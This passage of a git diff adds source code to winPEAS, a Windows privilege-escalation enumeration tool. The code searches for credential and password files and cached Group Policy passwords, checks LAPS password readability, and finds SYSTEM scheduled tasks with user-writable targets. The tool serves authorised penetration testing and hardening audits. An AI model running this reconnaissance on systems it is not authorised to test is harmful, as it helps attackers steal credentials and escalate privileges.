}; - - foreach (var file in RootDirUsers) - { - if (!file.IsDirectory) - { - string extLower = file.Extension.ToLower(); - string nameLower = file.Filename.ToLower(); - - if (allowedExtensions.Contains(extLower)) - { - result.Add(file.FullPath); - } - else - { - foreach (var pattern in allowedRegexp) - { - if (Regex.IsMatch(nameLower, pattern, RegexOptions.IgnoreCase)) - { - result.Add(file.FullPath); - - break; - } - } - } - } - } - - return result; - } - } -} +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using FileInfo = Alphaleonis.Win32.Filesystem.FileInfo; +using DirectoryInfo = Alphaleonis.Win32.Filesystem.DirectoryInfo; + +namespace winPEAS.Helpers.Search +{ + static class SearchHelper + { + public static List RootDirUsers = new List(); + public static List RootDirCurrentUser = new List(); + public static List ProgramFiles = new List(); + public static List ProgramFilesX86 = new List(); + public static List DocumentsAndSettings = new List(); + public static List GroupPolicyHistory = new List(); + + public static string SystemDrive = Environment.GetEnvironmentVariable("SystemDrive"); + private static string GlobalPattern = "*"; + + public static List StaticExtensions = new List() { + // archives + ".7z", ".tar", ".zip", ".gz", + + // audio/video + ".avi", ".mp3", ".mp4", ".wav", ".wmf", ".wmv", ".ts", ".pak", + + // icons + ".ico", + + // fonts + ".eot", ".fnt", ".fon", ".otf", ".odttf", ".ttc", ".ttf", ".woff", "woff2", "woff3", + + // images + ".bmp", ".emf", ".gif", ".pm", + ".jif", ".jfi", ".jfif", ".jpe", ".jpeg", ".jpg", + ".png", ".psd", ".raw", ".svg", ".svgz", ".tif", ".tiff", ".webp", + }; + + public static List GetFilesFast(string folder, string pattern = "*", HashSet excludedDirs = null, bool isFoldersIncluded = false) + { + ConcurrentBag files = new ConcurrentBag(); + IEnumerable startDirs = GetStartDirectories(folder, files, pattern, isFoldersIncluded); + IList startDirsExcluded = new List(); + ConcurrentDictionary known_dirs = new ConcurrentDictionary(); + + if (excludedDirs != null) + { + foreach (var startDir in startDirs) + { + bool shouldAdd = true; + string startDirLower = startDir.FullName.ToLower(); + + shouldAdd = !excludedDirs.Contains(startDirLower); + + if (shouldAdd) + { + startDirsExcluded.Add(startDir); + } + } + } + else + { + startDirsExcluded = startDirs.ToList(); + } + + Parallel.ForEach(startDirsExcluded, (d) => + { + var foundFiles = GetFiles(d.FullName, pattern); + foreach (var f in foundFiles) + { + if (f != null && !StaticExtensions.Contains(f.Extension.ToLower())) + { + CustomFileInfo file_info = new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false); + files.Add(file_info); + + CustomFileInfo file_dir = new CustomFileInfo(f.Directory.Name, "", f.Directory.FullName, 0, true); + if (known_dirs.TryAdd(file_dir.FullPath, 0)) + { + files.Add(file_dir); + } + } + } + }); + + return files.ToList(); + } + + + private static List GetFiles(string folder, string pattern = "*") + { + DirectoryInfo dirInfo; + DirectoryInfo[] directories; + try + { + dirInfo = new DirectoryInfo(folder); + directories = dirInfo.GetDirectories(); + + if (directories.Length == 0) + { + return new List(dirInfo.GetFiles(pattern)); + } + } + catch (UnauthorizedAccessException) + { + return new List(); + } + catch (PathTooLongException) + { + return new List(); + } + catch (DirectoryNotFoundException) + { + return new List(); + } + catch (Exception) + { + return new List(); + } + + ConcurrentBag result = new ConcurrentBag(); + + Parallel.ForEach(directories, (d) => + { + foreach (var file in GetFiles(d.FullName, pattern)) + { + result.Add(file); + } + }); + + try + { + foreach (var file in dirInfo.GetFiles(pattern)) + { + result.Add(file); + } + } + catch (UnauthorizedAccessException) + { + } + catch (PathTooLongException) + { + } + catch (DirectoryNotFoundException) + { + } + catch (Exception) + { + } + + return result.ToList(); + } + + private static IEnumerable GetStartDirectories(string folder, ConcurrentBag files, string pattern, bool isFoldersIncluded = false) + { + while (true) + { + DirectoryInfo[] directories = null; + try + { + var dirInfo = new DirectoryInfo(folder); + directories = dirInfo.GetDirectories(); + + if (isFoldersIncluded) + { + foreach (var directory in directories) + { + if (Checks.Checks.IsLongPath || directory.FullName.Length <= 260) + files.Add(new CustomFileInfo(directory.Name, null, directory.FullName, 0, true)); + + else if (directory.FullName.Length > 260) + Beaprint.LongPathWarning(directory.FullName); + } + } + + foreach (var f in dirInfo.GetFiles(pattern)) + { + if (!StaticExtensions.Contains(f.Extension.ToLower())) + { + if (Checks.Checks.IsLongPath || f.FullName.Length <= 260) + files.Add(new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false)); + + else if (f.FullName.Length > 260) + Beaprint.LongPathWarning(f.FullName); + } + } + + if (directories.Length > 1) return new List(directories); + + if (directories.Length == 0) return new List(); + } + catch (UnauthorizedAccessException) + { + return new List(); + } + catch (PathTooLongException) + { + return new List(); + } + catch (DirectoryNotFoundException) + { + return new List(); + } + catch (Exception) + { + return new List(); + } + + folder = directories[0].FullName; + isFoldersIncluded = false; + } + } + + internal static void CreateSearchDirectoriesList() + { + // c:\users + string rootUsersSearchPath = $"{SystemDrive}\\Users\\"; + RootDirUsers = GetFilesFast(rootUsersSearchPath, GlobalPattern, isFoldersIncluded: true); + + // c:\users\current_user + string rootCurrentUserSearchPath = Environment.GetEnvironmentVariable("USERPROFILE"); + RootDirCurrentUser = GetFilesFast(rootCurrentUserSearchPath, GlobalPattern, isFoldersIncluded: true); + + // c:\Program Files\ + string rootProgramFiles = $"{SystemDrive}\\Program Files\\"; + ProgramFiles = GetFilesFast(rootProgramFiles, GlobalPattern, isFoldersIncluded: true); + + // c:\Program Files (x86)\ + string rootProgramFilesX86 = $"{SystemDrive}\\Program Files (x86)\\"; + ProgramFilesX86 = GetFilesFast(rootProgramFilesX86, GlobalPattern, isFoldersIncluded: true); + + // c:\Documents and Settings\ + string documentsAndSettings = $"{SystemDrive}\\Documents and Settings\\"; + DocumentsAndSettings = GetFilesFast(documentsAndSettings, GlobalPattern, isFoldersIncluded: true); + + // c:\ProgramData\Microsoft\Group Policy\History + string groupPolicyHistory = $"{SystemDrive}\\ProgramData\\Microsoft\\Group Policy\\History"; + GroupPolicyHistory = GetFilesFast(groupPolicyHistory, GlobalPattern, isFoldersIncluded: true); + + // c:\Documents and Settings\All Users\Application Data\\Microsoft\\Group Policy\\History + string groupPolicyHistoryLegacy = $"{documentsAndSettings}\\All Users\\Application Data\\Microsoft\\Group Policy\\History"; + //SearchHelper.GroupPolicyHistoryLegacy = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, globalPattern); + var groupPolicyHistoryLegacyFiles = GetFilesFast(groupPolicyHistoryLegacy, GlobalPattern, isFoldersIncluded: true); + GroupPolicyHistory.AddRange(groupPolicyHistoryLegacyFiles); + } + + internal static void CleanLists() + { + RootDirUsers = null; + RootDirCurrentUser = null; + ProgramFiles = null; + ProgramFilesX86 = null; + DocumentsAndSettings = null; + GroupPolicyHistory = null; + + GC.Collect(); + } + + internal static IEnumerable SearchUserCredsFiles() + { + var patterns = new List + { + ".*credential.*", + ".*password.*" + }; + + foreach (var file in RootDirUsers) + { + //string extLower = file.Extension.ToLower(); + + if (!file.IsDirectory) + { + string nameLower = file.Filename.ToLower(); + // string nameExtLower = nameLower + "." + extLower; + + foreach (var pattern in patterns) + { + if (Regex.IsMatch(nameLower, pattern, RegexOptions.IgnoreCase)) + { + yield return file; + + break; + } + } + + } + } + } + + internal static List SearchUsersInterestingFiles() + { + var result = new List(); + + foreach (var file in RootDirCurrentUser) + { + if (!file.IsDirectory) + { + string extLower = file.Extension.ToLower(); + string nameLower = file.Filename.ToLower(); + + if (Patterns.WhitelistExtensions.Contains(extLower) || + Patterns.WhiteListExactfilenamesWithExtensions.Contains(nameLower)) + { + result.Add(file.FullPath); + } + else + { + foreach (var pattern in Patterns.WhiteListRegexp) + { + if (Regex.IsMatch(nameLower, pattern, RegexOptions.IgnoreCase)) + { + result.Add(file.FullPath); + + break; + } + } + } + + } + } + + return result; + } + + internal static List FindCachedGPPPassword() + { + var result = new List(); + + var allowedExtensions = new HashSet + { + ".xml" + }; + + foreach (var file in GroupPolicyHistory) + { + if (!file.IsDirectory) + { + string extLower = file.Extension.ToLower(); + + if (allowedExtensions.Contains(extLower)) + { + result.Add(file.FullPath); + } + } + } + + return result; + } + + internal static IEnumerable SearchMcAfeeSitelistFiles() + { + var allowedFilenames = new HashSet + { + "sitelist.xml" + }; + + string programDataPath = $"{SystemDrive}\\ProgramData\\"; + var programData = GetFilesFast(programDataPath, GlobalPattern); + + var searchFiles = new List(); + searchFiles.AddRange(ProgramFiles); + searchFiles.AddRange(ProgramFilesX86); + searchFiles.AddRange(programData); + searchFiles.AddRange(DocumentsAndSettings); + searchFiles.AddRange(RootDirUsers); + + foreach (var file in searchFiles) + { + if (!file.IsDirectory) + { + string filenameToLower = file.Filename.ToLower(); + + if (allowedFilenames.Contains(filenameToLower)) + { + yield return file.FullPath; + } + } + } + } + + internal static List SearchCurrentUserDocs() + { + var result = new List(); + + var allowedRegexp = new List + { + ".*diagram.*", + }; + + var allowedExtensions = new HashSet() + { + ".doc", + ".docx", + ".vsd", + ".xls", + ".xlsx", + ".pdf", + }; + + foreach (var file in RootDirCurrentUser) + { + if (!file.IsDirectory) + { + string extLower = file.Extension.ToLower(); + string nameLower = file.Filename.ToLower(); + + if (allowedExtensions.Contains(extLower)) + { + result.Add(file.FullPath); + } + else + { + foreach (var pattern in allowedRegexp) + { + if (Regex.IsMatch(nameLower, pattern, RegexOptions.IgnoreCase)) + { + result.Add(file.FullPath); + + break; + } + } + } + } + } + + return result; + } + + internal static List SearchUsersDocs() + { + var result = new List(); + + var allowedRegexp = new List + { + ".*diagram.*", + }; + + var allowedExtensions = new HashSet() + { + ".doc", + ".docx", + ".vsd", + ".xls", + ".xlsx", + ".pdf", + }; + + foreach (var file in RootDirUsers) + { + if (!file.IsDirectory) + { + string extLower = file.Extension.ToLower(); + string nameLower = file.Filename.ToLower(); + + if (allowedExtensions.Contains(extLower)) + { + result.Add(file.FullPath); + } + else + { + foreach (var pattern in allowedRegexp) + { + if (Regex.IsMatch(nameLower, pattern, RegexOptions.IgnoreCase)) + { + result.Add(file.FullPath); + + break; + } + } + } + } + } + + return result; + } + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/ActiveDirectoryInfo/LapsPasswordExposure.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/ActiveDirectoryInfo/LapsPasswordExposure.cs new file mode 100644 index 00000000..9e7c42ec --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/ActiveDirectoryInfo/LapsPasswordExposure.cs @@ -0,0 +1,59 @@ +using System.Text; + +namespace winPEAS.Info.ActiveDirectoryInfo +{ + internal sealed class LapsPasswordExposureReport + { + public bool LegacyPasswordReadable { get; set; } + public bool WindowsLapsPasswordReadable { get; set; } + public bool IsExposed => LegacyPasswordReadable || WindowsLapsPasswordReadable; + } + + internal static class LapsPasswordExposure + { + internal static LapsPasswordExposureReport Evaluate(bool legacyPasswordReturned, bool windowsLapsPasswordReturned) + { + return new LapsPasswordExposureReport + { + LegacyPasswordReadable = legacyPasswordReturned, + WindowsLapsPasswordReadable = windowsLapsPasswordReturned + }; + } + + internal static string EscapeLdapFilterValue(string value) + { + if (value == null) + { + return string.Empty; + } + + var escaped = new StringBuilder(value.Length); + foreach (char character in value) + { + switch (character) + { + case '\\': + escaped.Append(@"\5c"); + break; + case '*': + escaped.Append(@"\2a"); + break; + case '(': + escaped.Append(@"\28"); + break; + case ')': + escaped.Append(@"\29"); + break; + case '\0': + escaped.Append(@"\00"); + break; + default: + escaped.Append(character); + break; + } + } + + return escaped.ToString(); + } + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/ApplicationInfo/InstalledPackageInventory.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/ApplicationInfo/InstalledPackageInventory.cs new file mode 100644 index 00000000..7e1f43c1 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/ApplicationInfo/InstalledPackageInventory.cs @@ -0,0 +1,112 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; + +namespace winPEAS.Info.ApplicationInfo +{ + public static class InstalledPackageInventory + { + public const int MaxPackages = 300; + + public static List> GetInstalledPackages(int maxPackages = MaxPackages) + { + var packages = new List>(); + var seen = new HashSet(StringComparer.OrdinalIgnoreCase); + + AddRegistryPackages(packages, seen, RegistryHive.LocalMachine, RegistryView.Registry64, maxPackages); + AddRegistryPackages(packages, seen, RegistryHive.LocalMachine, RegistryView.Registry32, maxPackages); + AddRegistryPackages(packages, seen, RegistryHive.CurrentUser, RegistryView.Default, maxPackages); + + return packages; + } + + private static void AddRegistryPackages( + List> packages, + HashSet seen, + RegistryHive hive, + RegistryView view, + int maxPackages) + { + if (packages.Count >= maxPackages) + { + return; + } + + try + { + using (var baseKey = RegistryKey.OpenBaseKey(hive, view)) + using (var uninstallKey = baseKey.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall")) + { + if (uninstallKey == null) + { + return; + } + + foreach (var subkeyName in uninstallKey.GetSubKeyNames()) + { + if (packages.Count >= maxPackages) + { + return; + } + + using (var appKey = uninstallKey.OpenSubKey(subkeyName)) + { + if (appKey == null) + { + continue; + } + + var package = CreatePackage(appKey); + if (package == null) + { + continue; + } + + var key = $"{package["name"]}\0{package["version"]}"; + if (!seen.Add(key)) + { + continue; + } + + packages.Add(package); + } + } + } + } + catch + { + // Registry inventory is best-effort; unreadable views should not break winPEAS. + } + } + + private static Dictionary CreatePackage(RegistryKey appKey) + { + var name = CleanValue(appKey.GetValue("DisplayName")); + var version = CleanValue(appKey.GetValue("DisplayVersion")); + if (string.IsNullOrWhiteSpace(name) || string.IsNullOrWhiteSpace(version)) + { + return null; + } + + var package = new Dictionary + { + { "name", name }, + { "version", version }, + { "manager", "windows-registry" } + }; + + var publisher = CleanValue(appKey.GetValue("Publisher")); + if (!string.IsNullOrWhiteSpace(publisher)) + { + package["publisher"] = publisher; + } + + return package; + } + + private static string CleanValue(object value) + { + return Convert.ToString(value)?.Trim().Replace("\r", " ").Replace("\n", " "); + } + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/ApplicationInfo/PrivilegedScheduledTasks.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/ApplicationInfo/PrivilegedScheduledTasks.cs new file mode 100644 index 00000000..d55a5699 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/ApplicationInfo/PrivilegedScheduledTasks.cs @@ -0,0 +1,949 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Security.AccessControl; +using System.Text; +using System.Text.RegularExpressions; +using winPEAS.Helpers; +using winPEAS.TaskScheduler; +using ScheduledTask = winPEAS.TaskScheduler.Task; +using TaskAction = winPEAS.TaskScheduler.Action; + +namespace winPEAS.Info.ApplicationInfo +{ + internal sealed class PrivilegedScheduledTaskFinding + { + public string TaskPath { get; set; } + public string Principal { get; set; } + public string Executable { get; set; } + public string TargetPath { get; set; } + public string AccessReason { get; set; } + } + + internal sealed class PrivilegedScheduledTaskControlFinding + { + public string TaskPath { get; set; } + public string Principal { get; set; } + public string AccessReason { get; set; } + } + + internal sealed class PrivilegedScheduledTaskReport + { + public List Findings { get; } = new List(); + public List ControlFindings { get; } = new List(); + public int FoldersInspected { get; set; } + public int TasksInspected { get; set; } + public bool FolderLimitReached { get; set; } + public bool TaskLimitReached { get; set; } + public bool TargetLimitReached { get; set; } + public bool TimeLimitReached { get; set; } + public bool FindingLimitReached { get; set; } + public int TargetsInspected { get; set; } + internal Stopwatch InspectionTimer { get; } = Stopwatch.StartNew(); + } + + internal static class PrivilegedScheduledTasks + { + internal const int MaxTasks = 2048; + internal const int MaxFindings = 64; + internal const int MaxFolders = 1024; + internal const int MaxTargets = 2048; + internal const int MaxInspectionMilliseconds = 15000; + private const int MaxFolderDepth = 32; + private const int MaxTargetsPerAction = 16; + private const int MaxArgumentLength = 8192; + + private const uint FileWriteData = 0x00000002; + private const uint FileAppendData = 0x00000004; + private const uint FileDeleteChild = 0x00000040; + private const uint WriteDac = 0x00040000; + private const uint WriteOwner = 0x00080000; + private const uint GenericWrite = 0x40000000; + private const uint GenericAll = 0x10000000; + + private static readonly HashSet ReplaceableScriptExtensions = new HashSet(StringComparer.OrdinalIgnoreCase) + { + ".ps1", ".psm1", ".bat", ".cmd", ".vbs", ".vbe", ".js", ".jse", + ".wsf", ".wsh", ".hta", ".py", ".pl", ".rb", + }; + + private static readonly HashSet HtaExtensions = new HashSet(StringComparer.OrdinalIgnoreCase) + { + ".hta", + }; + + private static readonly HashSet PowerShellScriptExtensions = new HashSet(StringComparer.OrdinalIgnoreCase) + { + ".ps1", ".psm1", + }; + + private static readonly HashSet CmdTargetExtensions = new HashSet(StringComparer.OrdinalIgnoreCase) + { + ".exe", ".com", ".bat", ".cmd", + }; + + private static readonly HashSet WindowsScriptHostExtensions = new HashSet(StringComparer.OrdinalIgnoreCase) + { + ".vbs", ".vbe", ".js", ".jse", ".wsf", ".wsh", + }; + + private static readonly HashSet PythonScriptExtensions = new HashSet(StringComparer.OrdinalIgnoreCase) { ".py" }; + private static readonly HashSet PerlScriptExtensions = new HashSet(StringComparer.OrdinalIgnoreCase) { ".pl" }; + private static readonly HashSet RubyScriptExtensions = new HashSet(StringComparer.OrdinalIgnoreCase) { ".rb" }; + private static readonly HashSet JarExtensions = new HashSet(StringComparer.OrdinalIgnoreCase) { ".jar" }; + private static readonly HashSet DllExtensions = new HashSet(StringComparer.OrdinalIgnoreCase) { ".dll" }; + private static readonly HashSet PythonInlineSwitches = new HashSet(StringComparer.OrdinalIgnoreCase) { "-c", "-m", "-" }; + private static readonly HashSet PerlRubyInlineSwitches = new HashSet(StringComparer.OrdinalIgnoreCase) { "-e", "-E", "-" }; + + public static PrivilegedScheduledTaskReport GetReport() + { + var report = new PrivilegedScheduledTaskReport(); + HashSet unprivilegedSids = PermissionsHelper.GetUnprivilegedTokenSids(); + + try + { + using (TaskFolder root = TaskService.Instance.GetFolder(@"\")) + { + ProcessFolder(root, 0, unprivilegedSids, report); + } + } + catch + { + // Task Scheduler may be unavailable or access-restricted. Other checks should continue quietly. + } + + return report; + } + + private static void ProcessFolder( + TaskFolder folder, + int depth, + ISet unprivilegedSids, + PrivilegedScheduledTaskReport report) + { + if (folder == null || depth > MaxFolderDepth || ShouldStop(report)) + { + return; + } + + if (report.FoldersInspected >= MaxFolders) + { + report.FolderLimitReached = true; + return; + } + + report.FoldersInspected++; + + try + { + using (TaskCollection tasks = folder.GetTasks()) + { + foreach (ScheduledTask task in tasks) + { + using (task) + { + if (ShouldStop(report)) + { + return; + } + + if (report.TasksInspected >= MaxTasks) + { + report.TaskLimitReached = true; + return; + } + + report.TasksInspected++; + ProcessTask(task, unprivilegedSids, report); + if (ShouldStop(report)) + { + return; + } + } + } + } + } + catch + { + // An inaccessible task must not prevent inspection of accessible folders. + } + + try + { + using (TaskFolderCollection subFolders = folder.SubFolders) + { + foreach (TaskFolder subFolder in subFolders) + { + using (subFolder) + { + ProcessFolder(subFolder, depth + 1, unprivilegedSids, report); + } + + if (ShouldStop(report)) + { + return; + } + } + } + } + catch + { + // Some protected folders cannot be enumerated by a standard user. + } + } + + private static void ProcessTask( + ScheduledTask task, + ISet unprivilegedSids, + PrivilegedScheduledTaskReport report) + { + try + { + if (task == null || !task.Enabled || ShouldStop(report)) + { + return; + } + + using (TaskDefinition definition = task.Definition) + using (TaskPrincipal principal = definition.Principal) + { + string principalName = principal.UserId; + if (string.IsNullOrWhiteSpace(principalName)) + { + principalName = principal.Account; + } + if (!IsLocalSystemPrincipal(principalName)) + { + return; + } + + ProcessTaskSecurity(task, principalName, unprivilegedSids, report); + if (ShouldStop(report)) + { + return; + } + + using (ActionCollection actions = definition.Actions) + { + foreach (TaskAction action in actions) + { + if (ShouldStop(report)) + { + return; + } + + using (action) + { + var execAction = action as TaskAction.ExecAction; + if (execAction != null) + { + ProcessExecAction(task.Path, principalName, execAction, unprivilegedSids, report); + } + } + + if (ShouldStop(report)) + { + return; + } + } + } + } + } + catch + { + // Definitions and individual actions can be access-restricted or malformed. + } + } + + private static void ProcessTaskSecurity( + ScheduledTask task, + string principal, + ISet unprivilegedSids, + PrivilegedScheduledTaskReport report) + { + try + { + string sddl = task.GetSecurityDescriptorSddlForm( + SecurityInfos.Owner | SecurityInfos.DiscretionaryAcl); + if (string.IsNullOrWhiteSpace(sddl)) + { + return; + } + + string accessReason = FindTaskControlReason( + new RawSecurityDescriptor(sddl), + unprivilegedSids); + if (string.IsNullOrEmpty(accessReason)) + { + return; + } + + report.ControlFindings.Add(new PrivilegedScheduledTaskControlFinding + { + TaskPath = task.Path, + Principal = principal, + AccessReason = accessReason, + }); + + if (GetFindingCount(report) >= MaxFindings) + { + report.FindingLimitReached = true; + } + } + catch + { + // Reading a task DACL can be denied independently of reading its definition. + } + } + + private static void ProcessExecAction( + string taskPath, + string principal, + TaskAction.ExecAction action, + ISet unprivilegedSids, + PrivilegedScheduledTaskReport report) + { + string executable = ExpandAndTrim(action.Path); + string arguments = ExpandAndTrim(action.Arguments); + string workingDirectory = ExpandAndTrim(action.WorkingDirectory); + var targets = new HashSet(StringComparer.OrdinalIgnoreCase); + + string resolvedExecutable = ResolveActionPath(executable, workingDirectory); + if (!string.IsNullOrEmpty(resolvedExecutable)) + { + targets.Add(resolvedExecutable); + } + + foreach (string referencedPath in ExtractReferencedFilePaths(executable, arguments, workingDirectory)) + { + if (targets.Count >= MaxTargetsPerAction) + { + break; + } + + targets.Add(referencedPath); + } + + foreach (string target in targets) + { + if (ShouldStop(report)) + { + return; + } + + report.TargetsInspected++; + string accessReason = GetWritableTargetReason(target, unprivilegedSids); + if (string.IsNullOrEmpty(accessReason)) + { + continue; + } + + report.Findings.Add(new PrivilegedScheduledTaskFinding + { + TaskPath = taskPath, + Principal = principal, + Executable = executable, + TargetPath = target, + AccessReason = accessReason, + }); + + if (GetFindingCount(report) >= MaxFindings) + { + report.FindingLimitReached = true; + return; + } + } + } + + internal static bool IsLocalSystemPrincipal(string principal) + { + if (string.IsNullOrWhiteSpace(principal)) + { + return false; + } + + string normalized = principal.Trim().Replace('/', '\\'); + return normalized.Equals("S-1-5-18", StringComparison.OrdinalIgnoreCase) || + normalized.Equals("SYSTEM", StringComparison.OrdinalIgnoreCase) || + normalized.Equals("LocalSystem", StringComparison.OrdinalIgnoreCase) || + normalized.Equals(@"NT AUTHORITY\SYSTEM", StringComparison.OrdinalIgnoreCase); + } + + internal static List ExtractReferencedFilePaths( + string executable, + string arguments, + string workingDirectory) + { + var paths = new HashSet(StringComparer.OrdinalIgnoreCase); + string expandedArguments = ExpandAndTrim(arguments); + string expandedWorkingDirectory = ExpandAndTrim(workingDirectory); + if (string.IsNullOrEmpty(expandedArguments)) + { + return new List(); + } + + if (expandedArguments.Length > MaxArgumentLength) + { + expandedArguments = expandedArguments.Substring(0, MaxArgumentLength); + } + + List tokens = new List(TokenizeArguments(expandedArguments)); + string executableName = GetFileName(executable).ToLowerInvariant(); + + if (executableName == "powershell.exe" || executableName == "powershell" || + executableName == "pwsh.exe" || executableName == "pwsh") + { + AddSwitchValue(tokens, new[] { "-file", "-f" }, PowerShellScriptExtensions, expandedWorkingDirectory, paths); + } + else if (executableName == "cmd.exe" || executableName == "cmd") + { + AddCommandShellTarget(tokens, expandedWorkingDirectory, paths); + } + else if (executableName == "wscript.exe" || executableName == "wscript" || + executableName == "cscript.exe" || executableName == "cscript") + { + AddFirstPositional(tokens, WindowsScriptHostExtensions, expandedWorkingDirectory, paths, null); + } + else if (executableName == "mshta.exe" || executableName == "mshta") + { + AddFirstPositional(tokens, HtaExtensions, expandedWorkingDirectory, paths, null); + } + else if (executableName == "python.exe" || executableName == "python" || + executableName == "pythonw.exe" || executableName == "pythonw" || + Regex.IsMatch(executableName, @"^python\d+(?:\.\d+)?(?:w)?(?:\.exe)?$", RegexOptions.CultureInvariant)) + { + AddFirstPositional(tokens, PythonScriptExtensions, expandedWorkingDirectory, paths, PythonInlineSwitches); + } + else if (executableName == "perl.exe" || executableName == "perl") + { + AddFirstPositional(tokens, PerlScriptExtensions, expandedWorkingDirectory, paths, PerlRubyInlineSwitches); + } + else if (executableName == "ruby.exe" || executableName == "ruby") + { + AddFirstPositional(tokens, RubyScriptExtensions, expandedWorkingDirectory, paths, PerlRubyInlineSwitches); + } + else if (executableName == "java.exe" || executableName == "java" || + executableName == "javaw.exe" || executableName == "javaw") + { + AddSwitchValue(tokens, new[] { "-jar" }, JarExtensions, expandedWorkingDirectory, paths); + } + else if (executableName == "rundll32.exe" || executableName == "rundll32" || + executableName == "regsvr32.exe" || executableName == "regsvr32") + { + AddFirstPositional(tokens, DllExtensions, expandedWorkingDirectory, paths, null); + } + + return new List(paths); + } + + private static void AddSwitchValue( + IList tokens, + IEnumerable switchNames, + ISet allowedExtensions, + string workingDirectory, + ISet paths) + { + var switches = new HashSet(switchNames, StringComparer.OrdinalIgnoreCase); + for (int index = 0; index < tokens.Count; index++) + { + string token = tokens[index]; + if (switches.Contains(token) && index + 1 < tokens.Count) + { + AddExecutionCandidate(tokens[index + 1], allowedExtensions, workingDirectory, paths); + return; + } + + foreach (string switchName in switches) + { + string prefix = switchName + ":"; + if (token.StartsWith(prefix, StringComparison.OrdinalIgnoreCase)) + { + AddExecutionCandidate(token.Substring(prefix.Length), allowedExtensions, workingDirectory, paths); + return; + } + } + } + } + + private static void AddCommandShellTarget( + IList tokens, + string workingDirectory, + ISet paths) + { + for (int index = 0; index + 1 < tokens.Count; index++) + { + if (!tokens[index].Equals("/c", StringComparison.OrdinalIgnoreCase) && + !tokens[index].Equals("/k", StringComparison.OrdinalIgnoreCase)) + { + continue; + } + + int candidateIndex = index + 1; + if (tokens[candidateIndex].Equals("call", StringComparison.OrdinalIgnoreCase) && + candidateIndex + 1 < tokens.Count) + { + candidateIndex++; + } + + AddExecutionCandidate(tokens[candidateIndex].TrimStart('&'), CmdTargetExtensions, workingDirectory, paths); + return; + } + } + + private static void AddFirstPositional( + IEnumerable tokens, + ISet allowedExtensions, + string workingDirectory, + ISet paths, + ISet terminatingSwitches) + { + foreach (string token in tokens) + { + if (terminatingSwitches != null && terminatingSwitches.Contains(token)) + { + return; + } + + if (token.StartsWith("-", StringComparison.Ordinal) || token.StartsWith("/", StringComparison.Ordinal)) + { + continue; + } + + AddExecutionCandidate(token.Split(',')[0], allowedExtensions, workingDirectory, paths); + return; + } + } + + private static void AddExecutionCandidate( + string value, + ISet allowedExtensions, + string workingDirectory, + ISet paths) + { + string candidate = CleanCandidatePath(value); + if (string.IsNullOrEmpty(candidate) || !allowedExtensions.Contains(Path.GetExtension(candidate))) + { + return; + } + + if (IsLocalAbsolutePath(candidate)) + { + paths.Add(candidate); + return; + } + + if (!IsLocalAbsolutePath(workingDirectory)) + { + return; + } + + try + { + paths.Add(Path.GetFullPath(Path.Combine(workingDirectory, candidate))); + } + catch + { + // Ignore malformed relative paths. + } + } + + private static IEnumerable TokenizeArguments(string arguments) + { + var tokens = new List(); + var current = new StringBuilder(); + char quote = '\0'; + + foreach (char character in arguments) + { + if ((character == '"' || character == '\'') && (quote == '\0' || quote == character)) + { + quote = quote == '\0' ? character : '\0'; + continue; + } + + if (char.IsWhiteSpace(character) && quote == '\0') + { + if (current.Length > 0) + { + tokens.Add(current.ToString()); + current.Clear(); + if (tokens.Count >= 128) + { + return tokens; + } + } + } + else + { + current.Append(character); + } + } + + if (current.Length > 0 && tokens.Count < 128) + { + tokens.Add(current.ToString()); + } + + return tokens; + } + + internal static string ResolveActionPath(string executable, string workingDirectory) + { + if (string.IsNullOrEmpty(executable)) + { + return null; + } + + string candidate = CleanCandidatePath(executable); + if (IsLocalAbsolutePath(candidate)) + { + return candidate; + } + + if (!IsLocalAbsolutePath(workingDirectory)) + { + return null; + } + + try + { + return Path.GetFullPath(Path.Combine(workingDirectory, candidate)); + } + catch + { + return null; + } + } + + internal static string GetWritableTargetReason(string displayPath, ISet unprivilegedSids) + { + if (!IsPathOnLocalDrive(displayPath) || unprivilegedSids == null || unprivilegedSids.Count == 0) + { + return null; + } + + try + { + string accessPath = GetAccessPath(displayPath); + if (File.Exists(accessPath)) + { + var descriptor = GetFileSecurityDescriptor(accessPath); + string trustee = FindWriteTrustee(descriptor, unprivilegedSids, FileWriteData | WriteDac | WriteOwner); + if (string.IsNullOrEmpty(trustee) && ReplaceableScriptExtensions.Contains(Path.GetExtension(accessPath))) + { + trustee = FindWriteTrustee(descriptor, unprivilegedSids, FileAppendData); + } + + if (!string.IsNullOrEmpty(trustee)) + { + return "file is writable by " + trustee; + } + + string parent = Path.GetDirectoryName(accessPath); + string replacementTrustee = GetDirectoryReplacementTrustee(parent, unprivilegedSids); + return string.IsNullOrEmpty(replacementTrustee) + ? null + : "parent permits file replacement by " + replacementTrustee; + } + + string missingParent = Path.GetDirectoryName(accessPath); + if (string.IsNullOrEmpty(missingParent) || !Directory.Exists(missingParent)) + { + return null; + } + + string createTrustee = FindWriteTrustee( + GetDirectorySecurityDescriptor(missingParent), + unprivilegedSids, + FileWriteData | WriteDac | WriteOwner); + return string.IsNullOrEmpty(createTrustee) + ? null + : "missing target can be created by " + createTrustee; + } + catch + { + return null; + } + } + + private static string 